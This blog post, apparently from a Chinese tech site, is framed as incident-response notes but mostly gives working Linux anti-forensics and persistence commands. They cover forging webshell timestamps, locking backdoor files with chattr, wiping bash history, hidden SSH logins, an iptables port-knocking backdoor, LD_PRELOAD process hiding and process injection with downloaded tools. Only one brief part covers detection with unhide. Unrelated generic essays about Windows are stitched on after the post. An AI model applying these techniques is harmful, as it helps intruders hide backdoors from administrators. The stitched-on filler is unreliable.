应急响应实战笔记——权限维持篇:③ Linux权限维持&隐藏篇

目录

0x00 前言

0x01 隐藏文件

0x02 隐藏文件时间戳

0x03 隐藏权限

0x04 隐藏历史操作命令

0x05 隐藏远程SSH登陆记录

0x06 端口复用

0x07 进程隐藏

0x07 结语



 

0x00 前言

攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。

0x01 隐藏文件

Linux 下创建一个隐藏文件:touch .test.txt

touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:

一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al

这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/

0x02 隐藏文件时间戳

Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。

比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。

利用方法

touch -r index.php webshell.php

或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。

touch -t 1401021042.30 webshell.php

0x03 隐藏权限

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多新手朋友感到头疼。

chattr +i evil.php 锁定文件
lsattr  evil.php   属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php  删除文件

0x04 隐藏历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history
备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history
它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:

history -d [num]

这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' .bash_history

0x05 隐藏远程SSH登陆记录

#隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@127.0.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

0x06 端口复用

通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?

第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

#安装SSLH
 sudo apt-get install sslh
 #配置SSLH
 编辑 SSLH 配置文件:
 sudo vi /etc/default/sslh
 1、找到下列行:Run=no  将其修改为:Run=yes
 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
 DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"

第二种方式:利用IPTables进行端口复用

# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

利用方式:

#开启复用
echo threathuntercoming | socat - tcp:192.168.28.128:80
#ssh使用80端口进行登录
ssh -p 80 root@192.168.28.128
#关闭复用
echo threathunterleaving | socat - tcp:192.168.28.128:80

具体文章详见:远程遥控 IPTables 进行端口复用

0x07 进程隐藏

管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。

第一种方法:libprocesshider

github项目地址:GitHub - gianlucaborello/libprocesshider: Hide a process under Linux using the ld preloader (https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/)

利用 LD_PRELOAD 来实现系统函数的劫持,实现如下

# 下载程序编译
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider/ && make
# 移动文件到/usr/local/lib/目录下
cp libprocesshider.so /usr/local/lib/
# 把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

测试:运行 evil_script.py,

此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。

如何在Linux中发现隐藏的进程,

unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作。

下载地址:Unhide homepage - Welcome

# 安装
sudo yum install unhide
# 使用
unhide [options] test_list

使用unhide proc发现隐藏进程evil_script.py,如下图所示:

第二种方法:进程注入工具linux-inject

linux-inject是用于将共享对象注入Linux进程的工具

github项目地址: https://github.com/gaffe23/linux-inject.git

# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject && make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so

验证进程注入成功,如下图所示:

Cymothoa是一款隐秘的后门工具。它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现。

下载地址:cymothoa - Browse /cymothoa-1-beta at SourceForge.net

# 下载解压
wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
tar zxvf cymothoa-1-beta.tar.gz 
# 
cd cymothoa-1-beta && make

0x07 结语

本文主要介绍了Linux下的几种隐藏技术,包括隐藏文件、隐藏权限、隐藏历史操作命令、端口复用、进程隐藏等方面的技巧。仅作抛砖引玉之用,欢迎留言分享。

  • 24
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: Windows是由微软公司开发的一种操作系统。它具有易用性、兼容性和强大的功能。Windows系统首次发布于1985年,此后,其不断地升级和发展,发展出了多个版本,如Windows 95、Windows 98、Windows 2000、Windows XP、Windows Vista、Windows 7、Windows 8和Windows 10等。 Windows的界面具有友好的用户操作界面和图形化界面,使得普通用户也能够方便地使用电脑。其系统的兼容性很强,大部分软件和硬件都可以与之兼容。同时,Windows拥有大量的应用程序和游戏,用户可以通过这些来扩展系统的功能和增加趣味性。 除此之外,Windows还提供了一系列高级功能和设置,如安全性、网络连接、多媒体处理、远程控制等。这些功能可满足不同用户的需求。 总之,Windows作为使用最广泛的操作系统之一,其稳定性和易用性受到广泛认可,使得大部分用户能够轻松地利用它进行工作和娱乐,成为了当今世界的主流操作系统之一。 ### 回答2: Windows是一种操作系统,由微软公司开发。它是世界上最流行的操作系统之一,被广泛用于个人电脑和服务器。Windows提供了一个基于图形用户界面(GUI)的交互式桌面环境,用户可以从桌面上访问文件、程序和设备。Windows还提供了许多其他功能,如网络连接、安全性和数据备份。Windows系统的版本包括Windows 10、Windows 8、Windows 7、Windows Vista和Windows XP等。其中,Windows 10是最新和最广泛使用的版本。Windows 10具有新的功能和更新的应用程序,如Windows相机、Windows照片、Cortana助手和Microsoft Edge浏览器。Windows操作系统也提供了广泛的支持和用户社区,使得用户可以轻松获取帮助和支持。总的来说,Windows是一种功能齐全、易于使用和广泛使用的操作系统,它被广泛用于各种设备和应用程序中。 ### 回答3: Windows是由微软公司开发的一款操作系统,是全球使用最广泛的操作系统之一。Windows系统的开发历史可以追溯到1981年,从最初的DOS操作系统到现在的Windows 10系统,经历了多个版本的更新与完善。Windows系统简单易用,具有强大的兼容性和丰富的软件支持,可以满足用户在不同领域的各种需求。 Windows系统的主要功能包括文件管理、网络连接、多媒体播放、游戏娱乐、办公应用等。Windows系统还提供了大量的系统工具和服务,如磁盘清理、防病毒软件、网络安全等,以保障用户的系统安全和稳定性。 作为国际知名软件品牌,Windows系统一直以来都致力于在用户体验、系统性能和数据安全方面不断提升,目前Windows 10系统已经融入了人工智能和云计算等先进技术,为用户提供更加精准和高效的服务体验。 总之,Windows系统是一款功能强大、易用、安全可靠的操作系统,无论是个人用户还是企业机构,都能够从中受益并实现更好的生产和生活效率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你可知这世上再难遇我

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值